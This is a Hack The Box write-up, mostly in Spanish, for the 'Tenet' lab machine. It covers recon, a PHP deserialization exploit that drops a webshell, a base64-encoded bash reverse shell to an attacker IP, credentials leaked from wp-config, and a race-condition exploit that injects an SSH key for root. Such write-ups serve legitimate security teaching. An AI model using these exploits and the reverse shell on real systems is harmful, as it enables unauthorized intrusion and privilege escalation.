Tenet - Hack The Box
Reconnaissance
- Nmap
❯ nmap -sS --open -p- --min-rate 5000 -n -Pn 10.10.10.223
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-28 16:04 CEST
Nmap scan report for 10.10.10.223
Host is up (0.039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 11.08 seconds
- Add domain to /etc/hosts
❯ echo "10.10.10.223 tenet.htb" >> /etc/hosts
- Fuzzing backup file
Dentro de un post encontramos un comentario de neil, en este comentario encontramos un posible backup del script sator.php.
El archivo sator.php se encuentra fuera del virtual hosting, sabiendo esto podemos comenzar con el fuzzing de extensiones.
❯ wfuzz -c --hc=404 -z list,backup-bak-txt-tar-tar.gz-bk-bck-old http://10.10.10.223/sator.php.FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.223/sator.php.FUZZ
Total requests: 8
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 31 L 70 W 514 Ch "bak"
❯ curl -o sator.php.bak http://10.10.10.223/sator.php.bak
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 514 100 514 0 0 7833 0 --:--:-- --:--:-- --:--:-- 7907
❯ cat sator.php.bak
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
Exploitation
- Deserialization attack
❯ php -a
Interactive shell
php > file_put_contents(__DIR__ . '/' . "test", "testing");
❯ cat test
testing
Antes de nada vamos a desglosar el código. Primero el script pide un párametro ‘arepo’, el cual lo deserializa. Viendo esto podemos probar a ejecutar alguna función del script, como la función destruct(). La función destruct() permite crear archivos con el contenido y el nombre que queramos en el directorio actual.
<?php
class DatabaseExport{
public $user_file= "cmd.php";
public $data= "<?php system('whoami');?>";
}
echo urlencode(serialize(new DatabaseExport))
?>
❯ php exploit.php
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22cmd.php%22%3Bs%3A4%3A%22data%22%3Bs%3A25%3A%22%3C%3Fphp+system%28%27whoami%27%29%3B%3F%3E%22%3B%7D
Para crear el objeto deserializado, creamos un script en php que crea una clase DatabaseExport, la cual serializa dos parametros:
- user_file: nombre del archivo
- data: contenido del archivo
- Reverse Shell
❯ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.5/9000 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzkwMDAgMD4mMScK
<?php
class DatabaseExport{
public $user_file= "test.php";
public $data= "<?php system('echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzkwMDAgMD4mMScK| base64 -d |bash');?>";
}
echo urlencode(serialize(new DatabaseExport))
?>
❯ php exploit.php
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A8%3A%22test.php%22%3Bs%3A4%3A%22data%22%3Bs%3A109%3A%22%3C%3Fphp+system%28%27echo+YmFzaCAtYyAnYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC41LzkwMDAgMD4mMScK%7C+base64+-d+%7Cbash%27%29%3B%3F%3E%22%3B%7D
❯ curl http://10.10.10.223/test.php
❯ nc -nlvp 9000
listening on [any] 9000 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.223] 19458
bash: cannot set terminal process group (1739): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tenet:/var/www/html$
Post-exploitation
- Information Leakage
www-data@tenet:/var/www/html/wordpress$ cat wp-config.php | grep password -C2
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
Credenciales encontradas: neil:Opera2112
- Pivoting
www-data@tenet:/var/www/html/wordpress$ su neil
Password:
neil@tenet:/var/www/html/wordpress$
- Find Sudoers
neil@tenet:/tmp$ sudo -l
Matching Defaults entries for neil on tenet:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
- Race Condition
neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
Al revisar el script vemos que está metiendo una clave pública al archivo /root/.ssh/authorized_keys. El error está en la forma de crear el archivo con la clave pública. El flujo del script es el siguiente:
- Crea un archivo temporal con el nombre ssh-(random).
- Mete el contenido de la clave en el archivo temporal.
- Llama a la función checkFile.
- Mete el contenido del archivo temporal en el /root/.ssh/authorized_keys.
- Borra el archivo.
- Comprueba si la clave pública se ha añadido.
#!/bin/bash
if ls /tmp/ssh-* 2>/dev/null;then
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIUhYBjzvDmO/e8IRzDVe6ojCFE8JzONwO6eEP0MYQva root@pyuser" > /tmp/ssh-*
rm ssh-\* 2>/dev/null
fi
Nos creamos un script que detecta cuando se crea el archivo temporal y mete el contenido de nuestra clave pública en el archivo.
neil@tenet:/tmp$ while true;do ./exploit.sh;done
/tmp/ssh-Git0x5BF
neil@tenet:/tmp$ while true; do sudo /usr/local/bin/enableSSH.sh; done
Successfully added root@ubuntu to authorized_keys file!
Ejecutamos los dos script en bucle a la misma vez.
❯ ssh root@10.10.10.223
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Jun 28 20:46:03 UTC 2025
System load: 0.9 Processes: 190
Usage of /: 15.6% of 22.51GB Users logged in: 1
Memory usage: 20% IP address for ens160: 10.10.10.223
Swap usage: 0%
53 packages can be updated.
31 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Jun 28 20:32:01 2025 from 10.10.14.5
root@tenet:~#